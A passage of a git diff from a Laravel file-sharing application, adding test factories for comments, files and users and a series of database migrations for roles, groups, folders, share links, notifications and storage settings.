'visibility' => CommentVisibility::StaffOnly, + 'client_context_id' => null, + ]); + } + + public function onlyMe(): static + { + return $this->state(fn (array $attributes) => [ + 'visibility' => CommentVisibility::OnlyMe, + 'client_context_id' => null, + ]); + } + + public function everyone(): static + { + return $this->state(fn (array $attributes) => [ + 'visibility' => CommentVisibility::Everyone, + 'client_context_id' => null, + ]); + } + + /** + * An anonymous visitor's comment: no account behind it, and the only + * visibility such an author can ever produce. + */ + public function fromGuest(string $name = 'A visitor'): static + { + return $this->state(fn (array $attributes) => [ + 'author_id' => null, + 'guest_name' => $name, + 'ip_address' => '203.0.113.10', + 'visibility' => CommentVisibility::Everyone, + 'client_context_id' => null, + ]); + } + + /** + * Awaiting moderation — invisible to everyone but a moderator. + */ + public function pending(): static + { + return $this->state(fn (array $attributes) => [ + 'approved_at' => null, + ]); + } +} diff --git a/database/factories/FileFactory.php b/database/factories/FileFactory.php new file mode 100644 index 00000000..a04819c6 --- /dev/null +++ b/database/factories/FileFactory.php @@ -0,0 +1,79 @@ + + */ +class FileFactory extends Factory +{ + /** @var class-string */ + protected $model = File::class; + + /** + * @return array + */ + public function definition(): array + { + return [ + 'uploaded_by' => User::factory(), + 'name' => fake()->unique()->words(2, true), + // Mirrors the display name unless a test overrides it — the two + // differ only when the original filename is itself the subject + // (Content-Disposition escaping, for instance). + 'original_name' => fn (array $attributes): string => $attributes['name'].'.pdf', + // Unique per row: the disk path is a real uniqueness constraint + // in practice, and reusing one across rows makes deletion tests + // clean up each other's bytes. + 'path' => '2026/08/'.Str::uuid()->toString().'.pdf', + 'mime_type' => 'application/pdf', + 'size' => 1024, + 'checksum' => str_repeat('a', 64), + // Spelled out even though the column defaults to the same value: + // a database default is applied on insert but not reflected back + // onto the in-memory model, so leaving it out means $file->disk + // reads NULL until the row is refreshed — and anything resolving + // Storage::disk($file->disk) then silently gets the app's default + // disk instead of this one. + 'disk' => 'files', + ]; + } + + /** + * Visible on the public listing. + */ + public function public(): static + { + return $this->state(fn (array $attributes): array => ['public' => true]); + } + + /** + * A real image, for the thumbnail and preview paths. + */ + public function image(): static + { + return $this->state(fn (array $attributes): array => [ + // Lazy, like the one in definition(): a state closure runs before + // create()'s own overrides are merged, so reading $attributes['name'] + // directly here would pair a caller's name with the default's. + 'original_name' => fn (array $attributes): string => $attributes['name'].'.jpg', + 'path' => '2026/08/'.Str::uuid()->toString().'.jpg', + 'mime_type' => 'image/jpeg', + ]); + } +} diff --git a/database/factories/UserFactory.php b/database/factories/UserFactory.php new file mode 100644 index 00000000..78c77ea0 --- /dev/null +++ b/database/factories/UserFactory.php @@ -0,0 +1,92 @@ + + */ +class UserFactory extends Factory +{ + /** + * The current password being used by the factory. + */ + protected static ?string $password; + + /** + * Define the model's default state. + * + * @return array + */ + public function definition(): array + { + return [ + 'type' => UserType::Staff, + 'active' => true, + 'account_requested' => false, + 'role_id' => fn (): ?int => self::roleId(SystemRole::SystemAdministrator), + 'name' => fake()->name(), + 'email' => fake()->unique()->safeEmail(), + 'email_verified_at' => now(), + 'password' => static::$password ??= Hash::make('password'), + 'remember_token' => Str::random(10), + ]; + } + + /** + * A client account — the recipient files are shared with. + */ + public function client(): static + { + return $this->state(fn (array $attributes) => [ + 'type' => UserType::Client, + 'role_id' => self::roleId(SystemRole::Client), + ]); + } + + /** + * A self-registered client awaiting approval. + */ + public function pendingClient(): static + { + return $this->client()->state(fn (array $attributes) => [ + 'active' => false, + 'account_requested' => true, + ]); + } + + /** + * A staff account with one of the built-in roles. + */ + public function role(SystemRole $role): static + { + return $this->state(fn (array $attributes) => [ + 'type' => $role === SystemRole::Client ? UserType::Client : UserType::Staff, + 'role_id' => self::roleId($role), + ]); + } + + private static function roleId(SystemRole $role): ?int + { + // Materialize on demand so tests can use any SystemRole — including + // the legacy Uploader, which fresh installs no longer seed. + return app(EnsureSystemRoles::class)->materialize($role)->id; + } + + /** + * Indicate that the model's email address should be unverified. + */ + public function unverified(): static + { + return $this->state(fn (array $attributes) => [ + 'email_verified_at' => null, + ]); + } +} diff --git a/database/migrations/0001_01_01_000000_create_users_table.php b/database/migrations/0001_01_01_000000_create_users_table.php new file mode 100644 index 00000000..05fb5d9e --- /dev/null +++ b/database/migrations/0001_01_01_000000_create_users_table.php @@ -0,0 +1,49 @@ +id(); + $table->string('name'); + $table->string('email')->unique(); + $table->timestamp('email_verified_at')->nullable(); + $table->string('password'); + $table->rememberToken(); + $table->timestamps(); + }); + + Schema::create('password_reset_tokens', function (Blueprint $table) { + $table->string('email')->primary(); + $table->string('token'); + $table->timestamp('created_at')->nullable(); + }); + + Schema::create('sessions', function (Blueprint $table) { + $table->string('id')->primary(); + $table->foreignId('user_id')->nullable()->index(); + $table->string('ip_address', 45)->nullable(); + $table->text('user_agent')->nullable(); + $table->longText('payload'); + $table->integer('last_activity')->index(); + }); + } + + /** + * Reverse the migrations. + */ + public function down(): void + { + Schema::dropIfExists('users'); + Schema::dropIfExists('password_reset_tokens'); + Schema::dropIfExists('sessions'); + } +}; diff --git a/database/migrations/0001_01_01_000001_create_cache_table.php b/database/migrations/0001_01_01_000001_create_cache_table.php new file mode 100644 index 00000000..b9c106be --- /dev/null +++ b/database/migrations/0001_01_01_000001_create_cache_table.php @@ -0,0 +1,35 @@ +string('key')->primary(); + $table->mediumText('value'); + $table->integer('expiration'); + }); + + Schema::create('cache_locks', function (Blueprint $table) { + $table->string('key')->primary(); + $table->string('owner'); + $table->integer('expiration'); + }); + } + + /** + * Reverse the migrations. + */ + public function down(): void + { + Schema::dropIfExists('cache'); + Schema::dropIfExists('cache_locks'); + } +}; diff --git a/database/migrations/0001_01_01_000002_create_jobs_table.php b/database/migrations/0001_01_01_000002_create_jobs_table.php new file mode 100644 index 00000000..425e7058 --- /dev/null +++ b/database/migrations/0001_01_01_000002_create_jobs_table.php @@ -0,0 +1,57 @@ +id(); + $table->string('queue')->index(); + $table->longText('payload'); + $table->unsignedTinyInteger('attempts'); + $table->unsignedInteger('reserved_at')->nullable(); + $table->unsignedInteger('available_at'); + $table->unsignedInteger('created_at'); + }); + + Schema::create('job_batches', function (Blueprint $table) { + $table->string('id')->primary(); + $table->string('name'); + $table->integer('total_jobs'); + $table->integer('pending_jobs'); + $table->integer('failed_jobs'); + $table->longText('failed_job_ids'); + $table->mediumText('options')->nullable(); + $table->integer('cancelled_at')->nullable(); + $table->integer('created_at'); + $table->integer('finished_at')->nullable(); + }); + + Schema::create('failed_jobs', function (Blueprint $table) { + $table->id(); + $table->string('uuid')->unique(); + $table->text('connection'); + $table->text('queue'); + $table->longText('payload'); + $table->longText('exception'); + $table->timestamp('failed_at')->useCurrent(); + }); + } + + /** + * Reverse the migrations. + */ + public function down(): void + { + Schema::dropIfExists('jobs'); + Schema::dropIfExists('job_batches'); + Schema::dropIfExists('failed_jobs'); + } +}; diff --git a/database/migrations/2026_07_22_200000_add_type_to_users_table.php b/database/migrations/2026_07_22_200000_add_type_to_users_table.php new file mode 100644 index 00000000..966dddd6 --- /dev/null +++ b/database/migrations/2026_07_22_200000_add_type_to_users_table.php @@ -0,0 +1,24 @@ +string('type')->default('staff')->index()->after('id'); + }); + } + + public function down(): void + { + Schema::table('users', function (Blueprint $table) { + $table->dropColumn('type'); + }); + } +}; diff --git a/database/migrations/2026_07_22_210000_create_settings_table.php b/database/migrations/2026_07_22_210000_create_settings_table.php new file mode 100644 index 00000000..8066ff10 --- /dev/null +++ b/database/migrations/2026_07_22_210000_create_settings_table.php @@ -0,0 +1,25 @@ +id(); + $table->string('key')->unique(); + $table->json('value')->nullable(); + $table->timestamps(); + }); + } + + public function down(): void + { + Schema::dropIfExists('settings'); + } +}; diff --git a/database/migrations/2026_07_23_090000_add_two_factor_columns_to_users_table.php b/database/migrations/2026_07_23_090000_add_two_factor_columns_to_users_table.php new file mode 100644 index 00000000..3da95d71 --- /dev/null +++ b/database/migrations/2026_07_23_090000_add_two_factor_columns_to_users_table.php @@ -0,0 +1,26 @@ +text('two_factor_secret')->nullable()->after('password'); + $table->text('two_factor_recovery_codes')->nullable()->after('two_factor_secret'); + $table->timestamp('two_factor_confirmed_at')->nullable()->after('two_factor_recovery_codes'); + }); + } + + public function down(): void + { + Schema::table('users', function (Blueprint $table) { + $table->dropColumn(['two_factor_secret', 'two_factor_recovery_codes', 'two_factor_confirmed_at']); + }); + } +}; diff --git a/database/migrations/2026_07_23_120000_create_activity_log_table.php b/database/migrations/2026_07_23_120000_create_activity_log_table.php new file mode 100644 index 00000000..28a4c110 --- /dev/null +++ b/database/migrations/2026_07_23_120000_create_activity_log_table.php @@ -0,0 +1,31 @@ +id(); + $table->foreignId('actor_id')->nullable()->constrained('users')->nullOnDelete(); + // Snapshot: survives actor deletion; null = the system itself. + $table->string('actor_name')->nullable(); + $table->string('action')->index(); + $table->nullableMorphs('subject'); + // Snapshot of the subject's display name at the time. + $table->string('subject_name')->nullable(); + $table->json('context')->nullable(); + $table->timestamp('created_at')->index(); + }); + } + + public function down(): void + { + Schema::dropIfExists('activity_log'); + } +}; diff --git a/database/migrations/2026_07_24_090000_create_roles_tables.php b/database/migrations/2026_07_24_090000_create_roles_tables.php new file mode 100644 index 00000000..e8264d23 --- /dev/null +++ b/database/migrations/2026_07_24_090000_create_roles_tables.php @@ -0,0 +1,58 @@ +id(); + $table->string('name')->unique(); + $table->boolean('is_system')->default(false); + $table->boolean('is_administrator')->default(false); + $table->timestamps(); + }); + + Schema::create('role_permission', function (Blueprint $table) { + $table->id(); + $table->foreignId('role_id')->constrained()->cascadeOnDelete(); + $table->string('permission'); + $table->unique(['role_id', 'permission']); + }); + + Schema::table('users', function (Blueprint $table) { + $table->foreignId('role_id')->nullable()->after('type')->constrained()->restrictOnDelete(); + }); + + // Reference data ships with the schema: the same idempotent + // ensure step also runs on every container boot, so the built-in + // roles exist even if this seed is somehow bypassed. + (new EnsureSystemRoles)->ensure(); + + // Pre-roles installs: staff accounts had full access, so they map + // to System Administrator; clients map to the Client role. + $adminId = DB::table('roles')->where('name', SystemRole::SystemAdministrator->value)->value('id'); + $clientId = DB::table('roles')->where('name', SystemRole::Client->value)->value('id'); + + DB::table('users')->where('type', 'staff')->update(['role_id' => $adminId]); + DB::table('users')->where('type', 'client')->update(['role_id' => $clientId]); + } + + public function down(): void + { + Schema::table('users', function (Blueprint $table) { + $table->dropConstrainedForeignId('role_id'); + }); + + Schema::dropIfExists('role_permission'); + Schema::dropIfExists('roles'); + } +}; diff --git a/database/migrations/2026_07_24_150000_add_active_to_users_table.php b/database/migrations/2026_07_24_150000_add_active_to_users_table.php new file mode 100644 index 00000000..12093acf --- /dev/null +++ b/database/migrations/2026_07_24_150000_add_active_to_users_table.php @@ -0,0 +1,24 @@ +boolean('active')->default(true)->after('role_id'); + }); + } + + public function down(): void + { + Schema::table('users', function (Blueprint $table) { + $table->dropColumn('active'); + }); + } +}; diff --git a/database/migrations/2026_07_25_090000_add_actor_type_to_activity_log_table.php b/database/migrations/2026_07_25_090000_add_actor_type_to_activity_log_table.php new file mode 100644 index 00000000..81e7024a --- /dev/null +++ b/database/migrations/2026_07_25_090000_add_actor_type_to_activity_log_table.php @@ -0,0 +1,32 @@ +string('actor_type')->nullable()->after('actor_name')->index(); + }); + + DB::table('activity_log') + ->whereNotNull('actor_id') + ->update(['actor_type' => DB::raw('(select type from users where users.id = activity_log.actor_id)')]); + } + + public function down(): void + { + Schema::table('activity_log', function (Blueprint $table) { + $table->dropColumn('actor_type'); + }); + } +}; diff --git a/database/migrations/2026_07_25_120000_add_account_requested_to_users_table.php b/database/migrations/2026_07_25_120000_add_account_requested_to_users_table.php new file mode 100644 index 00000000..58651977 --- /dev/null +++ b/database/migrations/2026_07_25_120000_add_account_requested_to_users_table.php @@ -0,0 +1,27 @@ +boolean('account_requested')->default(false)->after('active'); + }); + } + + public function down(): void + { + Schema::table('users', function (Blueprint $table) { + $table->dropColumn('account_requested'); + }); + } +}; diff --git a/database/migrations/2026_07_25_150000_add_soft_deletes_to_users_table.php b/database/migrations/2026_07_25_150000_add_soft_deletes_to_users_table.php new file mode 100644 index 00000000..dc3c797b --- /dev/null +++ b/database/migrations/2026_07_25_150000_add_soft_deletes_to_users_table.php @@ -0,0 +1,24 @@ +softDeletes(); + }); + } + + public function down(): void + { + Schema::table('users', function (Blueprint $table) { + $table->dropSoftDeletes(); + }); + } +}; diff --git a/database/migrations/2026_07_25_170000_add_erase_after_to_users_table.php b/database/migrations/2026_07_25_170000_add_erase_after_to_users_table.php new file mode 100644 index 00000000..09d7dd17 --- /dev/null +++ b/database/migrations/2026_07_25_170000_add_erase_after_to_users_table.php @@ -0,0 +1,28 @@ +timestamp('erase_after')->nullable()->after('deleted_at'); + }); + } + + public function down(): void + { + Schema::table('users', function (Blueprint $table) { + $table->dropColumn('erase_after'); + }); + } +}; diff --git a/database/migrations/2026_07_26_090000_create_groups_tables.php b/database/migrations/2026_07_26_090000_create_groups_tables.php new file mode 100644 index 00000000..7bc817ff --- /dev/null +++ b/database/migrations/2026_07_26_090000_create_groups_tables.php @@ -0,0 +1,47 @@ +id(); + $table->string('name'); + $table->text('description')->nullable(); + // Public groups expose their files without login once the + // Sharing module lands; the flag is part of the core model. + $table->boolean('public')->default(false); + $table->timestamps(); + $table->softDeletes(); + }); + + Schema::create('group_members', function (Blueprint $table) { + $table->id(); + $table->foreignId('group_id')->constrained()->cascadeOnDelete(); + $table->foreignId('user_id')->constrained()->cascadeOnDelete(); + $table->timestamps(); + $table->unique(['group_id', 'user_id']); + }); + + Schema::create('membership_requests', function (Blueprint $table) { + $table->id(); + $table->foreignId('group_id')->constrained()->cascadeOnDelete(); + $table->foreignId('user_id')->constrained()->cascadeOnDelete(); + $table->timestamps(); + $table->unique(['group_id', 'user_id']); + }); + } + + public function down(): void + { + Schema::dropIfExists('membership_requests'); + Schema::dropIfExists('group_members'); + Schema::dropIfExists('groups'); + } +}; diff --git a/database/migrations/2026_07_26_150000_add_status_to_membership_requests_table.php b/database/migrations/2026_07_26_150000_add_status_to_membership_requests_table.php new file mode 100644 index 00000000..656eb89b --- /dev/null +++ b/database/migrations/2026_07_26_150000_add_status_to_membership_requests_table.php @@ -0,0 +1,28 @@ +string('status')->default('pending')->index()->after('user_id'); + $table->timestamp('denied_at')->nullable()->after('status'); + }); + } + + public function down(): void + { + Schema::table('membership_requests', function (Blueprint $table) { + $table->dropColumn(['status', 'denied_at']); + }); + } +}; diff --git a/database/migrations/2026_07_27_090000_create_files_tables.php b/database/migrations/2026_07_27_090000_create_files_tables.php new file mode 100644 index 00000000..a68a9294 --- /dev/null +++ b/database/migrations/2026_07_27_090000_create_files_tables.php @@ -0,0 +1,44 @@ +id(); + $table->foreignId('uploaded_by')->nullable()->constrained('users')->nullOnDelete(); + $table->string('name'); + $table->text('description')->nullable(); + $table->string('original_name'); + // Disk-relative path on the "files" disk; listings never + // touch storage (size/mime/checksum persisted at upload). + $table->string('path'); + $table->string('mime_type'); + $table->unsignedBigInteger('size'); + $table->string('checksum', 64); + $table->timestamps(); + $table->softDeletes(); + }); + + Schema::create('file_assignments', function (Blueprint $table) { + $table->id(); + $table->foreignId('file_id')->constrained()->cascadeOnDelete(); + // A client (User) or a Group. + $table->morphs('assignable'); + $table->timestamps(); + $table->unique(['file_id', 'assignable_type', 'assignable_id']); + }); + } + + public function down(): void + { + Schema::dropIfExists('file_assignments'); + Schema::dropIfExists('files'); + } +}; diff --git a/database/migrations/2026_07_27_150000_create_upload_sessions_table.php b/database/migrations/2026_07_27_150000_create_upload_sessions_table.php new file mode 100644 index 00000000..afda624f --- /dev/null +++ b/database/migrations/2026_07_27_150000_create_upload_sessions_table.php @@ -0,0 +1,29 @@ +uuid('id')->primary(); + $table->foreignId('user_id')->constrained()->cascadeOnDelete(); + $table->string('original_name'); + // Size as declared at session creation (bytes). + $table->unsignedBigInteger('size'); + $table->string('mime_type')->nullable(); + $table->string('status')->default('open'); + $table->timestamps(); + }); + } + + public function down(): void + { + Schema::dropIfExists('upload_sessions'); + } +}; diff --git a/database/migrations/2026_07_28_090000_create_folders_tables.php b/database/migrations/2026_07_28_090000_create_folders_tables.php new file mode 100644 index 00000000..66f0bfa6 --- /dev/null +++ b/database/migrations/2026_07_28_090000_create_folders_tables.php @@ -0,0 +1,49 @@ +id(); + $table->string('name'); + $table->foreignId('parent_id')->nullable()->constrained('folders')->nullOnDelete(); + $table->foreignId('created_by')->nullable()->constrained('users')->nullOnDelete(); + // Materialized ancestor ids, e.g. "/3/7/" — O(1) subtree and + // ancestor queries without recursive CTEs. + $table->string('path')->default('/')->index(); + $table->timestamps(); + $table->softDeletes(); + }); + + Schema::create('folder_assignments', function (Blueprint $table) { + $table->id(); + $table->foreignId('folder_id')->constrained()->cascadeOnDelete(); + // A client (User) or a Group — sharing grants live access to + // the whole subtree. + $table->morphs('assignable'); + $table->timestamps(); + $table->unique(['folder_id', 'assignable_type', 'assignable_id'], 'folder_assignment_unique'); + }); + + Schema::table('files', function (Blueprint $table) { + $table->foreignId('folder_id')->nullable()->after('uploaded_by')->constrained('folders')->nullOnDelete(); + }); + } + + public function down(): void + { + Schema::table('files', function (Blueprint $table) { + $table->dropConstrainedForeignId('folder_id'); + }); + + Schema::dropIfExists('folder_assignments'); + Schema::dropIfExists('folders'); + } +}; diff --git a/database/migrations/2026_07_28_120000_add_client_scoped_to_roles_table.php b/database/migrations/2026_07_28_120000_add_client_scoped_to_roles_table.php new file mode 100644 index 00000000..069adc22 --- /dev/null +++ b/database/migrations/2026_07_28_120000_add_client_scoped_to_roles_table.php @@ -0,0 +1,34 @@ +boolean('client_scoped')->default(false)->after('is_administrator'); + }); + } + + // Now that the column exists, (re-)ensure the built-in roles so the + // Client Manager role gets client_scoped = true — on fresh installs + // the roles were first seeded before this column existed. + (new EnsureSystemRoles)->ensure(); + } + + public function down(): void + { + Schema::table('roles', function (Blueprint $table) { + $table->dropColumn('client_scoped'); + }); + } +}; diff --git a/database/migrations/2026_07_28_130000_create_staff_client_assignments_table.php b/database/migrations/2026_07_28_130000_create_staff_client_assignments_table.php new file mode 100644 index 00000000..bef763d9 --- /dev/null +++ b/database/migrations/2026_07_28_130000_create_staff_client_assignments_table.php @@ -0,0 +1,29 @@ +id(); + $table->foreignId('staff_id')->constrained('users')->cascadeOnDelete(); + $table->foreignId('client_id')->constrained('users')->cascadeOnDelete(); + $table->timestamps(); + + $table->unique(['staff_id', 'client_id'], 'staff_client_unique'); + }); + } + + public function down(): void + { + Schema::dropIfExists('staff_client_assignments'); + } +}; diff --git a/database/migrations/2026_07_28_140000_create_categories_tables.php b/database/migrations/2026_07_28_140000_create_categories_tables.php new file mode 100644 index 00000000..ed9b12cf --- /dev/null +++ b/database/migrations/2026_07_28_140000_create_categories_tables.php @@ -0,0 +1,37 @@ +id(); + $table->string('name')->unique(); + $table->timestamps(); + }); + + Schema::create('category_file', function (Blueprint $table) { + $table->id(); + $table->foreignId('category_id')->constrained()->cascadeOnDelete(); + $table->foreignId('file_id')->constrained()->cascadeOnDelete(); + $table->timestamps(); + + $table->unique(['category_id', 'file_id']); + }); + } + + public function down(): void + { + Schema::dropIfExists('category_file'); + Schema::dropIfExists('categories'); + } +}; + diff --git a/database/migrations/2026_07_29_090000_add_ip_address_to_activity_log_table.php b/database/migrations/2026_07_29_090000_add_ip_address_to_activity_log_table.php new file mode 100644 index 00000000..5df701d6 --- /dev/null +++ b/database/migrations/2026_07_29_090000_add_ip_address_to_activity_log_table.php @@ -0,0 +1,26 @@ +string('ip_address', 45)->nullable()->after('actor_type'); + }); + } + + public function down(): void + { + Schema::table('activity_log', function (Blueprint $table) { + $table->dropColumn('ip_address'); + }); + } +}; diff --git a/database/migrations/2026_07_30_090000_create_share_links_table.php b/database/migrations/2026_07_30_090000_create_share_links_table.php new file mode 100644 index 00000000..c4fedc0d --- /dev/null +++ b/database/migrations/2026_07_30_090000_create_share_links_table.php @@ -0,0 +1,31 @@ +id(); + // A File today; polymorphic so a Folder can share the same + // table once folder share links land. + $table->morphs('shareable'); + $table->string('token', 64)->unique(); + $table->foreignId('created_by')->nullable()->constrained('users')->nullOnDelete(); + $table->timestamp('expires_at')->nullable(); + $table->unsignedInteger('max_downloads')->nullable(); + $table->unsignedInteger('downloads_count')->default(0); + $table->timestamps(); + }); + } + + public function down(): void + { + Schema::dropIfExists('share_links'); + } +}; diff --git a/database/migrations/2026_07_31_090000_add_color_to_categories_table.php b/database/migrations/2026_07_31_090000_add_color_to_categories_table.php new file mode 100644 index 00000000..4c2693de --- /dev/null +++ b/database/migrations/2026_07_31_090000_add_color_to_categories_table.php @@ -0,0 +1,26 @@ +string('color')->default('gray')->after('name'); + }); + } + + public function down(): void + { + Schema::table('categories', function (Blueprint $table) { + $table->dropColumn('color'); + }); + } +}; diff --git a/database/migrations/2026_08_01_090000_add_locale_to_users_table.php b/database/migrations/2026_08_01_090000_add_locale_to_users_table.php new file mode 100644 index 00000000..5cd660dd --- /dev/null +++ b/database/migrations/2026_08_01_090000_add_locale_to_users_table.php @@ -0,0 +1,27 @@ +string('locale')->nullable()->after('email'); + }); + } + + public function down(): void + { + Schema::table('users', function (Blueprint $table) { + $table->dropColumn('locale'); + }); + } +}; diff --git a/database/migrations/2026_08_02_090000_create_mail_provider_settings_table.php b/database/migrations/2026_08_02_090000_create_mail_provider_settings_table.php new file mode 100644 index 00000000..0a358be9 --- /dev/null +++ b/database/migrations/2026_08_02_090000_create_mail_provider_settings_table.php @@ -0,0 +1,36 @@ +id(); + $table->string('provider')->default('custom'); + $table->string('host')->nullable(); + $table->unsignedSmallInteger('port')->nullable(); + $table->string('username')->nullable(); + $table->text('password')->nullable(); + $table->string('encryption')->default('tls'); + $table->string('from_address')->nullable(); + $table->string('from_name')->nullable(); + $table->timestamps(); + }); + } + + public function down(): void + { + Schema::dropIfExists('mail_provider_settings'); + } +}; diff --git a/database/migrations/2026_08_02_090000_remove_unblock_ip_permission_rows.php b/database/migrations/2026_08_02_090000_remove_unblock_ip_permission_rows.php new file mode 100644 index 00000000..0c8afdc2 --- /dev/null +++ b/database/migrations/2026_08_02_090000_remove_unblock_ip_permission_rows.php @@ -0,0 +1,28 @@ +where('permission', 'unblock_ip')->delete(); + } + + public function down(): void + { + // Deliberately not reversible: the permission no longer exists in the Permission enum. + } +}; diff --git a/database/migrations/2026_08_03_090000_create_email_templates_table.php b/database/migrations/2026_08_03_090000_create_email_templates_table.php new file mode 100644 index 00000000..cef35071 --- /dev/null +++ b/database/migrations/2026_08_03_090000_create_email_templates_table.php @@ -0,0 +1,29 @@ +id(); + $table->string('slot')->unique(); + $table->string('subject'); + $table->text('body'); + $table->timestamps(); + }); + } + + public function down(): void + { + Schema::dropIfExists('email_templates'); + } +}; diff --git a/database/migrations/2026_08_04_090000_create_zip_downloads_table.php b/database/migrations/2026_08_04_090000_create_zip_downloads_table.php new file mode 100644 index 00000000..7fae8818 --- /dev/null +++ b/database/migrations/2026_08_04_090000_create_zip_downloads_table.php @@ -0,0 +1,37 @@ +id(); + $table->foreignId('requested_by')->constrained('users')->cascadeOnDelete(); + $table->string('status')->default('pending'); + $table->string('path')->nullable(); + // The resolved (already access-filtered) selection, stored so + // the job can build from it and the download action can log a + // FileDownloaded entry per contained file — otherwise a file's + // download history/count would silently miss zip downloads. + $table->json('file_ids')->nullable(); + $table->json('folder_ids')->nullable(); + $table->unsignedInteger('file_count')->default(0); + $table->unsignedBigInteger('total_size')->nullable(); + $table->text('error')->nullable(); + $table->timestamps(); + }); + } + + public function down(): void + { + Schema::dropIfExists('zip_downloads'); + } +}; diff --git a/database/migrations/2026_08_05_090000_create_client_custom_fields_tables.php b/database/migrations/2026_08_05_090000_create_client_custom_fields_tables.php new file mode 100644 index 00000000..b019b915 --- /dev/null +++ b/database/migrations/2026_08_05_090000_create_client_custom_fields_tables.php @@ -0,0 +1,42 @@ +id(); + $table->string('name')->unique(); + $table->string('label'); + $table->string('type'); + $table->json('options')->nullable(); + $table->boolean('required')->default(false); + $table->unsignedInteger('sort_order')->default(0); + $table->timestamps(); + }); + + Schema::create('client_custom_field_values', function (Blueprint $table) { + $table->id(); + $table->foreignId('client_custom_field_id')->constrained()->cascadeOnDelete(); + $table->foreignId('user_id')->constrained('users')->cascadeOnDelete(); + $table->text('value')->nullable(); + $table->timestamps(); + + $table->unique(['client_custom_field_id', 'user_id']); + }); + } + + public function down(): void + { + Schema::dropIfExists('client_custom_field_values'); + Schema::dropIfExists('client_custom_fields'); + } +}; diff --git a/database/migrations/2026_08_06_090000_add_storage_quota_mb_to_users_table.php b/database/migrations/2026_08_06_090000_add_storage_quota_mb_to_users_table.php new file mode 100644 index 00000000..45ab0985 --- /dev/null +++ b/database/migrations/2026_08_06_090000_add_storage_quota_mb_to_users_table.php @@ -0,0 +1,27 @@ +unsignedInteger('storage_quota_mb')->default(0)->after('locale'); + }); + } + + public function down(): void + { + Schema::table('users', function (Blueprint $table) { + $table->dropColumn('storage_quota_mb'); + }); + } +}; diff --git a/database/migrations/2026_08_07_090000_add_slug_to_groups_table.php b/database/migrations/2026_08_07_090000_add_slug_to_groups_table.php new file mode 100644 index 00000000..f0312fbf --- /dev/null +++ b/database/migrations/2026_08_07_090000_add_slug_to_groups_table.php @@ -0,0 +1,47 @@ +string('slug')->nullable()->after('name'); + }); + + $usedSlugs = []; + + foreach (DB::table('groups')->orderBy('id')->get(['id', 'name']) as $group) { + $base = Str::slug($group->name) ?: 'group'; + $slug = $base; + $suffix = 2; + + while (in_array($slug, $usedSlugs, true)) { + $slug = $base.'-'.$suffix; + $suffix++; + } + + $usedSlugs[] = $slug; + + DB::table('groups')->where('id', $group->id)->update(['slug' => $slug]); + } + + Schema::table('groups', function (Blueprint $table) { + $table->string('slug')->nullable(false)->unique()->change(); + }); + } + + public function down(): void + { + Schema::table('groups', function (Blueprint $table) { + $table->dropColumn('slug'); + }); + } +}; diff --git a/database/migrations/2026_08_07_090100_add_public_to_files_table.php b/database/migrations/2026_08_07_090100_add_public_to_files_table.php new file mode 100644 index 00000000..866a8453 --- /dev/null +++ b/database/migrations/2026_08_07_090100_add_public_to_files_table.php @@ -0,0 +1,28 @@ +boolean('public')->default(false)->after('description'); + }); + } + + public function down(): void + { + Schema::table('files', function (Blueprint $table) { + $table->dropColumn('public'); + }); + } +}; diff --git a/database/migrations/2026_08_08_090000_add_slug_to_files_table.php b/database/migrations/2026_08_08_090000_add_slug_to_files_table.php new file mode 100644 index 00000000..ed4e3378 --- /dev/null +++ b/database/migrations/2026_08_08_090000_add_slug_to_files_table.php @@ -0,0 +1,47 @@ +string('slug')->nullable()->after('public'); + }); + + $usedSlugs = []; + + foreach (DB::table('files')->orderBy('id')->get(['id', 'name']) as $file) { + $base = Str::slug($file->name) ?: 'file'; + $slug = $base; + $suffix = 2; + + while (in_array($slug, $usedSlugs, true)) { + $slug = $base.'-'.$suffix; + $suffix++; + } + + $usedSlugs[] = $slug; + + DB::table('files')->where('id', $file->id)->update(['slug' => $slug]); + } + + Schema::table('files', function (Blueprint $table) { + $table->string('slug')->nullable(false)->unique()->change(); + }); + } + + public function down(): void + { + Schema::table('files', function (Blueprint $table) { + $table->dropColumn('slug'); + }); + } +}; diff --git a/database/migrations/2026_08_10_090000_add_disk_to_files_table.php b/database/migrations/2026_08_10_090000_add_disk_to_files_table.php new file mode 100644 index 00000000..135d1487 --- /dev/null +++ b/database/migrations/2026_08_10_090000_add_disk_to_files_table.php @@ -0,0 +1,31 @@ +string('disk')->default('files')->after('path'); + }); + } + + public function down(): void + { + Schema::table('files', function (Blueprint $table) { + $table->dropColumn('disk'); + }); + } +}; diff --git a/database/migrations/2026_08_10_090000_create_notifications_table.php b/database/migrations/2026_08_10_090000_create_notifications_table.php new file mode 100644 index 00000000..36dc27ae --- /dev/null +++ b/database/migrations/2026_08_10_090000_create_notifications_table.php @@ -0,0 +1,37 @@ +id(); + // Plain FK, not polymorphic: there's exactly one Notifiable + // model in this app (User, staff+client via UserType) — see + // ActivityLog's actor_id for the same reasoning. + $table->foreignId('user_id')->constrained('users')->cascadeOnDelete(); + // A NotificationTypeRegistry key (e.g. 'file_shared'), not an + // enum-backed column — the registry is open, not closed, since + // the private cloud-modules package registers its own types. + $table->string('type')->index(); + $table->nullableMorphs('subject'); + $table->json('data')->nullable(); + $table->timestamp('read_at')->nullable(); + $table->timestamp('created_at'); + + $table->index(['user_id', 'read_at']); + $table->index(['user_id', 'created_at']); + }); + } + + public function down(): void + { + Schema::dropIfExists('notifications'); + } +}; diff --git a/database/migrations/2026_08_10_090100_create_external_storage_settings_table.php b/database/migrations/2026_08_10_090100_create_external_storage_settings_table.php new file mode 100644 index 00000000..3ba37b47 --- /dev/null +++ b/database/migrations/2026_08_10_090100_create_external_storage_settings_table.php @@ -0,0 +1,34 @@ +id(); + $table->boolean('active')->default(false); + $table->string('key')->nullable(); + $table->text('secret')->nullable(); + $table->string('bucket')->nullable(); + $table->string('region')->nullable(); + $table->string('endpoint')->nullable(); + $table->boolean('use_path_style')->default(false); + $table->string('root')->nullable(); + $table->timestamps(); + }); + } + + public function down(): void + { + Schema::dropIfExists('external_storage_settings'); + } +}; diff --git a/database/migrations/2026_08_10_090100_create_notification_preferences_table.php b/database/migrations/2026_08_10_090100_create_notification_preferences_table.php new file mode 100644 index 00000000..a55c8b32 --- /dev/null +++ b/database/migrations/2026_08_10_090100_create_notification_preferences_table.php @@ -0,0 +1,31 @@ +id(); + $table->foreignId('user_id')->constrained('users')->cascadeOnDelete(); + $table->string('type'); + $table->boolean('email_enabled'); + $table->timestamps(); + + // An absent row means "use the notification type's own + // default" — a row only exists once a user has made an + // explicit choice for that type. + $table->unique(['user_id', 'type']); + }); + } + + public function down(): void + { + 